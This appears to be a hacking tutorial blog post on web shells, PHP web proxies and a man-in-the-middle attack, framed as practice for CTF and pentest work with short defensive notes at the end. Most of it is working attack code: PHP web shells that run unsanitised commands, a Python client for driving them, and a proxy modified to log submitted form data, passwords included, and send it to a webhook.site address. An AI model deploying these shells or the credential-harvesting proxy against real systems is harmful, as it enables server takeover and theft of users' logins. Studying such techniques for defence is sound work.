In this post, not only the concepts but also practical exercises are proposed for consolidating valuable knowledge for attackers and defenders.

Feel free to elaborate and build upon the following tools for CTF Competitions or Pentest Campaigns.


WEB SHELLS

Web Shells are scripts that allow an attacker to execute commands in a remote web server and establish persistence. The deployment vector happens typically by exploiting vulnerabilities in the existent web application. Once installed, an attacker can upload/download files, escalate its privilege, and so on.

The WS can exist as a standalone file, a poisoned/infected file of the existing application, or by exploiting the original code if it does not properly sanitize variables. The script language depends on what is enabled on the web server. For example, web servers that run any popular framework such as WordPress, Drupal, and Laravel certainly run PHP, while the web server that is fingerprinted to be a Microsoft IIS, almost certainly runs ASP, but not limited to.


HANDS-ON EXERCISE

  • Classic
<?php echo shell_exec($_GET["cmd"]); ?>
  • China Chopper
<?php @eval($_POST['cmd']); ?>

Note: on both examples above, the variable cmd get executed with no sanitization.


BASIC EXPLOITATION

  • Using the browser, navigate to: http://server.address/?cmd=whoami
  • Using curl command, type: curl "http://server.address/?cmd=whoami"

BASIC CLIENT HANDLER

#!/usr/bin/env python3

import sys
import requests

if len(sys.argv) > 1:
    url = sys.argv[1]
else:
    url = input("Enter the URL of the PHP webshell: ")

while True:
    cmd = input("$ ")
    if cmd == "exit":
        break
    response = requests.get(url, params={"cmd": cmd})
    print(response.text)
chmod +x webshell-client.py
./webshell-client.py http://server.address/path/webshell.php

Note: in the example above, the Web Shell file name is index.php and it was placed on the root of the site (path = /).


WEB SHELL

  • Web Shell with UI
<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80"><input type="SUBMIT" value="Execute"></form>

<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); }?></pre></body></html>

USING THE WEB SHELL

  • Navigate to: http://server.address/
  • Enter any command and click on Execute.

  • Try out the command curl ip.me

Note: in the last command, a HTTP request was issued remotely and proxy back to the “attacker” browser.


WEB PROXY

A Web Proxy, in the context of hacking, fetches external content on a remote server and forwards it to the attacker. It can be used to hide the IP source (attacker) from the target (victim) or to pivot into a private segment of a network.

Here is an example of an oversimplified Web Proxy.

Create the file index.php with the following content at the root of the Default website (more about it later):

<?php
$url = "https://" . $_SERVER['HTTP_HOST'] . $_GET['url'];

$headers = get_headers($url, true);
foreach ($headers as $name => $value) {
  if (is_string($name) && $name == 'Content-Type') {
    header("$name: $value");
  }
}

echo file_get_contents($url);
?>
  • On the first block
    • This script will compose the URL with the received Host Header (e.i. example.com) and the content of the argument url.
  • On the middle block
    • Before fetching the content of the URL, it will fetch only the headers and loop through them looking for the Content-Type.
    • It is important to set the same header before forwarding the content otherwise, images, icons, and files other than HTML will fail to load on the browser.
  • On the last block
    • It will finally fetch the content of the remote URL and forward to the attacker.

This attack might not work out of the box. It requires the Web Server (Apache, NGINX, etc) to have the Rewrite Module enabled (sudo a2enmod rewrite).

Create the file .htaccess in the same directory with the following content.

RewriteEngine On
RewriteRule !(^$) /?url=%{REQUEST_URI} [R=301,L]
  • The first line is ensuring the Rewrite Engine is running.
  • The second line redirects all requests to a non-empty URL to the same URL prefixed with /?url=.

Connecting the Links of the Chain

  1. An attacker compromises a web server,
  2. A Web Shell is uploaded to the directory /var/www/html,
  3. The web service has Overwrite module enabled,
  4. Alongside the PHP default, the default VHost is still present,
  5. By resolving domains to the compromised server, an attacker can pivot freely.

The attacker can locally resolve any domain to the compromised server that will serve any request with the default VHost. It will then fetch the real page and proxy to the attacker’s browser as if it were the correct server.

All the other files that compose the page (images, icons, css styles, etc) will get redirected properly, thanks to the Overwrite module and the .htaccess configuration.

Then, the Web Proxy will do the same for any following request, pretending to be the original page even after the user clicks on links (GET).

Likewise, many other simple HTTP pages can be proxies with no much effort.

IMPORTANT: this Web Proxy script is a proof of concept and is susceptible to leaks via redirects, JavaScript, and other means. In other words, it does not guarantee privacy or anonymity.


MAN-IN-THE-MIDDLE

While a Web Shell is mostly used to establish persistence and take over the server, a Web Proxy could be used to pivot and attack other servers or users that might fall into a trap. See the chain of the attack:

  1. The victim uses the browser to visit a site,
  2. There are too many ways a malicious or compromised device is on the way:
    1. A rouge access point pretending to be a trusted network,
    2. An insecure WIFI of a coffee shop, airport, hotel…
    3. A malicious VPN or ISP,
    4. A malware or malicious browser extension,
    5. and the list goes on.
  3. A poisoned DNS resolution directs the user to the wrong server,
  4. The Web Proxy managed by the attacker logs all the traffic it forward including passwords,
  5. A legit website could contain sensitive information like a corporate network, an email provider, or a bank.

Let’s update the index.php to add logging and exfiltrating capabilities to it:

<?php
$url = "https://" . $_SERVER['HTTP_HOST'] . $_GET['url'];

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $logFile = "postData.log";
    $postData = http_build_query($_POST);
    file_put_contents($logFile, $url.' '.urldecode($postData)."\n", FILE_APPEND | LOCK_EX);
    @file_get_contents('https://webhook.site/c2ae5980-e09f-4ab5-8acf-879d7b417a28?' . $postData);
}

$headers = get_headers($url, true);
foreach ($headers as $name => $value) {
    if (is_string($name) && $name == 'Content-Type') {
       header("$name: $value");
    }
}

echo file_get_contents($url);
?>
  • The highlighted block added the following features:
    • It identifies if the request came via POST method, which certainly contains input data (potentially credentials).
    • Then it saves the content of the request in a file called postData.log,
    • It also calls an external resource to immediately exfiltrate the same logged data,
    • Then, it proceeds to load the page’s content as before.
      • Note that the user will never be able to successfully login or submit a form to the real site. The objective of an attacker is to steal information, and that was accomplished.

An additional tweak is needed to the .htaccess file:

RewriteEngine On

RewriteCond %{REQUEST_METHOD} =GET
RewriteRule !(^$) /?url=%{REQUEST_URI} [R=301,L]

RewriteCond %{REQUEST_METHOD} =POST
RewriteRule !(^$) /?url=%{REQUEST_URI} [R=307,L]

It now checks for the method on the received request, so it can redirect with the same method.

Checking stolen information:

Success!


REFLECTION NOTES

I hope this exercise made clear the fundamentals any defender needs to master to be able to mitigate or block these attack vectors.

  • Web Shell
    • It is a post-exploitation tool (e.g. persistence) that requires the server to be previously compromised.
    • A Web Application Firewall (WAF) might help with blocking many exploitation methods to take place.
  • Web Proxy
    • Sometimes the only value of a compromised web server it to be used as a proxy to attack other targets.
    • Monitoring network traffic might reveal such a behavior is present.
    • Parsing logs for a large number of requests from a single or just a few clients, night indicate where it is coming from.
  • Man-In-The-Middle
    • Securing devices and network assets plays a major role in breaking the attack chain.
    • The server that steals information does not need to be a previously compromised web server on the internet. Instead, it could easily be a VM or a computer in the victim’s local (or rouge) network.

BONUS

  • Web Shell projects:
  • On Kali, list the available Web Shells:
    • tree /usr/share/webshells/
  • Web Proxy projects:
    • PHPProxy (discontinued) [Link].
    • PHP-Proxy [Link].
    • Glype [Link].
    • PHP Web Proxy [Link].
  • Free open web proxies:
    • Free Proxy [Link].
  • PHP Proxy Server:
    • Socks5-Proxy [Link].
    • ShadowSocks-PHP [Link].
    • PHP-HTTP-Proxy [Link].
    • PHPsocket.io [Link].